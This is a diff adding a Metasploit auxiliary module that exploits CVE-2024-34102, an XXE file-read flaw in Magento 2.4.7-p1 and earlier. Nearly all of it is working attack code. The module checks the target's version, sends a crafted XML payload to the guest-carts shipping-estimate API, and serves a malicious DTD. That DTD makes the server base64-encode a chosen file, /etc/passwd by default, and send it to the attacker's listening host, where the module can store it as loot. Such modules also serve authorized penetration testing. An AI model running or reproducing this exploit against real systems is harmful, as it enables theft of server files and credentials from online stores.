|
| 1 | +## |
| 2 | +# This module requires Metasploit: https://metasploit.com/download |
| 3 | +# Current source: https://github.com/rapid7/metasploit-framework |
| 4 | +## |
| 5 | + |
| 6 | +class MetasploitModule < Msf::Auxiliary |
| 7 | + |
| 8 | + include Msf::Exploit::Remote::HttpClient |
| 9 | + include Msf::Exploit::Remote::HttpServer |
| 10 | + prepend Msf::Exploit::Remote::AutoCheck |
| 11 | + CheckCode = Exploit::CheckCode |
| 12 | + |
| 13 | + def initialize(info = {}) |
| 14 | + super( |
| 15 | + update_info( |
| 16 | + info, |
| 17 | + 'Name' => 'Magento XXE Unserialize Arbitrary File Read', |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a XXE vulnerability in Magento 2.4.7-p1 and below which allows an attacker to read any file on the system. |
| 20 | + }, |
| 21 | + 'License' => MSF_LICENSE, |
| 22 | + 'Author' => [ |
| 23 | + 'Sergey Temnikov', # Vulnerability discovery |
| 24 | + 'Heyder', # Metasploit module |
| 25 | + ], |
| 26 | + |
| 27 | + 'References' => [ |
| 28 | + ['CVE', '2024-34102'], |
| 29 | + ['URL', 'https://github.com/spacewasp/public_docs/blob/main/CVE-2024-34102.md'] |
| 30 | + ], |
| 31 | + 'DisclosureDate' => '2024-06-11', |
| 32 | + 'Notes' => { |
| 33 | + 'Stability' => [CRASH_SAFE], |
| 34 | + 'Reliability' => [], |
| 35 | + 'SideEffects' => [IOC_IN_LOGS] |
| 36 | + } |
| 37 | + ) |
| 38 | + ) |
| 39 | + |
| 40 | + register_options( |
| 41 | + [ |
| 42 | + OptString.new('TARGETURI', [ true, 'The base path to the web application', '/']), |
| 43 | + OptString.new('TARGETFILE', [ true, 'The target file to read', '/etc/passwd']), |
| 44 | + OptBool.new('STORE_LOOT', [true, 'Store the target file as loot', false]) |
| 45 | + ] |
| 46 | + ) |
| 47 | + end |
| 48 | + |
| 49 | + def check |
| 50 | + vprint_status('Trying to get the Magento version') |
| 51 | + |
| 52 | + # request to check if the target is vulnerable /magento_version |
| 53 | + res = send_request_cgi({ |
| 54 | + 'method' => 'GET', |
| 55 | + 'uri' => normalize_uri(target_uri.path, '/magento_version') |
| 56 | + }) |
| 57 | + |
| 58 | + return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200 |
| 59 | + |
| 60 | + # Magento/2.4 (Community) |
| 61 | + version, edition = res.body.scan(%r{Magento/([\d.]+) \(([^)]+)\)}).first |
| 62 | + |
| 63 | + version = Rex::Version.new(version) |
| 64 | + |
| 65 | + return CheckCode::Safe("Detected Magento #{edition} edition version #{version} which is not vulnerable") unless |
| 66 | + version <= (Rex::Version.new('2.4.7')) || |
| 67 | + version <= (Rex::Version.new('2.4.6-p5')) || |
| 68 | + version <= (Rex::Version.new('2.4.5-p7')) || |
| 69 | + version <= (Rex::Version.new('2.4.4-p8')) || |
| 70 | + ( |
| 71 | + edition == 'Enterprise' && ( |
| 72 | + version <= (Rex::Version.new('2.4.3-ext-7')) || |
| 73 | + version <= (Rex::Version.new('2.4.2-ext-7')) |
| 74 | + ) |
| 75 | + ) |
| 76 | + |
| 77 | + CheckCode::Appears("Detected Magento #{edition} edition version #{version} which is vulnerable") |
| 78 | + end |
| 79 | + |
| 80 | + def ent_eval |
| 81 | + @ent_eval ||= Rex::Text.rand_text_alpha_lower(4..8) |
| 82 | + end |
| 83 | + |
| 84 | + def leak_param_name |
| 85 | + @leak_param_name ||= Rex::Text.rand_text_alpha_lower(4..8) |
| 86 | + end |
| 87 | + |
| 88 | + def dtd_param_name |
| 89 | + @dtd_param_name ||= Rex::Text.rand_text_alpha_lower(4..8) |
| 90 | + end |
| 91 | + |
| 92 | + def make_xxe_dtd |
| 93 | + filter_path = "php://filter/convert.base64-encode/resource=#{datastore['TARGETFILE']}" |
| 94 | + ent_file = Rex::Text.rand_text_alpha_lower(4..8) |
| 95 | + %( |
| 96 | + <!ENTITY % #{ent_file} SYSTEM "#{filter_path}"> |
| 97 | + <!ENTITY % #{dtd_param_name} "<!ENTITY #{ent_eval} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/?#{leak_param_name}=%#{ent_file};'>"> |
| 98 | + ) |
| 99 | + end |
| 100 | + |
| 101 | + def xxe_xml_data |
| 102 | + param_entity_name = Rex::Text.rand_text_alpha_lower(4..8) |
| 103 | + |
| 104 | + xml = "<?xml version='1.0' ?>" |
| 105 | + xml += "<!DOCTYPE #{Rex::Text.rand_text_alpha_lower(4..8)}" |
| 106 | + xml += '[' |
| 107 | + xml += " <!ELEMENT #{Rex::Text.rand_text_alpha_lower(4..8)} ANY >" |
| 108 | + xml += " <!ENTITY % #{param_entity_name} SYSTEM 'http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha_lower(4..8)}.dtd'> %#{param_entity_name}; %#{dtd_param_name}; " |
| 109 | + xml += ']' |
| 110 | + xml += "> <r>&#{ent_eval};</r>" |
| 111 | + |
| 112 | + xml |
| 113 | + end |
| 114 | + |
| 115 | + def xxe_request |
| 116 | + vprint_status('Sending XXE request') |
| 117 | + |
| 118 | + signature = Rex::Text.rand_text_alpha(6).capitalize |
| 119 | + |
| 120 | + post_data = <<~EOF |
| 121 | + { |
| 122 | + "address": { |
| 123 | + "#{signature}": "#{Rex::Text.rand_text_alpha_lower(4..8)}", |
| 124 | + "totalsCollector": { |
| 125 | + "collectorList": { |
| 126 | + "totalCollector": { |
| 127 | + "\u0073\u006F\u0075\u0072\u0063\u0065\u0044\u0061\u0074\u0061": { |
| 128 | + "data": "#{xxe_xml_data}", |
| 129 | + "options": 12345678 |
| 130 | + } |
| 131 | + } |
| 132 | + } |
| 133 | + } |
| 134 | + } |
| 135 | + } |
| 136 | + EOF |
| 137 | + |
| 138 | + res = send_request_cgi({ |
| 139 | + 'method' => 'POST', |
| 140 | + 'uri' => normalize_uri(target_uri.path, '/rest/V1/guest-carts/1/estimate-shipping-methods'), |
| 141 | + 'ctype' => 'application/json', |
| 142 | + 'data' => post_data |
| 143 | + }) |
| 144 | + |
| 145 | + fail_with(Failure::UnexpectedReply, "Server returned unexpected response: #{res.code}") unless res&.code == 400 |
| 146 | + |
| 147 | + body = res.get_json_document |
| 148 | + |
| 149 | + fail_with(Failure::UnexpectedReply, 'Server might not be vulnerable') unless body['parameters']['fieldName'] == signature |
| 150 | + end |
| 151 | + |
| 152 | + def run |
| 153 | + if datastore['SRVHOST'] == '0.0.0.0' || datastore['SRVHOST'] == '::' |
| 154 | + fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') |
| 155 | + end |
| 156 | + |
| 157 | + if datastore['SSL'] |
| 158 | + ssl_restore = true |
| 159 | + datastore['SSL'] = false |
| 160 | + end |
| 161 | + start_service({ |
| 162 | + 'Uri' => { |
| 163 | + 'Proc' => proc do |cli, req| |
| 164 | + on_request_uri(cli, req) |
| 165 | + end, |
| 166 | + 'Path' => '/' |
| 167 | + } |
| 168 | + }) |
| 169 | + datastore['SSL'] = true if ssl_restore |
| 170 | + xxe_request |
| 171 | + rescue Timeout::Error => e |
| 172 | + fail_with(Failure::TimeoutExpired, e.message) |
| 173 | + end |
| 174 | + |
| 175 | + def on_request_uri(cli, req) |
| 176 | + super |
| 177 | + data = '' |
| 178 | + |
| 179 | + case req.uri |
| 180 | + when /(.*).dtd/ |
| 181 | + vprint_status("Received request for DTD file from #{cli.peerhost}") |
| 182 | + data = make_xxe_dtd |
| 183 | + when /#{leak_param_name}/ |
| 184 | + data = req.uri_parts['QueryString'].values.first.gsub(/\s/, '+') |
| 185 | + if data&.empty? |
| 186 | + print_error('No data received') |
| 187 | + else |
| 188 | + |
| 189 | + file_name = datastore['TARGETFILE'] |
| 190 | + file_data = ::Base64.decode64(data).force_encoding('UTF-8') |
| 191 | + |
| 192 | + if datastore['STORE_LOOT'] |
| 193 | + p = store_loot(File.basename(file_name), 'text/plain', datastore['RHOST'], file_data, file_name, 'Magento XXE CVE-2024-34102 Results') |
| 194 | + print_good("File saved in: #{p}") |
| 195 | + else |
| 196 | + # A new line is sent before file contents for better readability |
| 197 | + print_good("File read succeeded! \n#{file_data}") |
| 198 | + end |
| 199 | + |
| 200 | + end |
| 201 | + else |
| 202 | + print_status("Unexpected request received: '#{req.method} #{req.uri}'") |
| 203 | + end |
| 204 | + |
| 205 | + send_response(cli, data) |
| 206 | + end |
| 207 | + |
| 208 | +end |
0 commit comments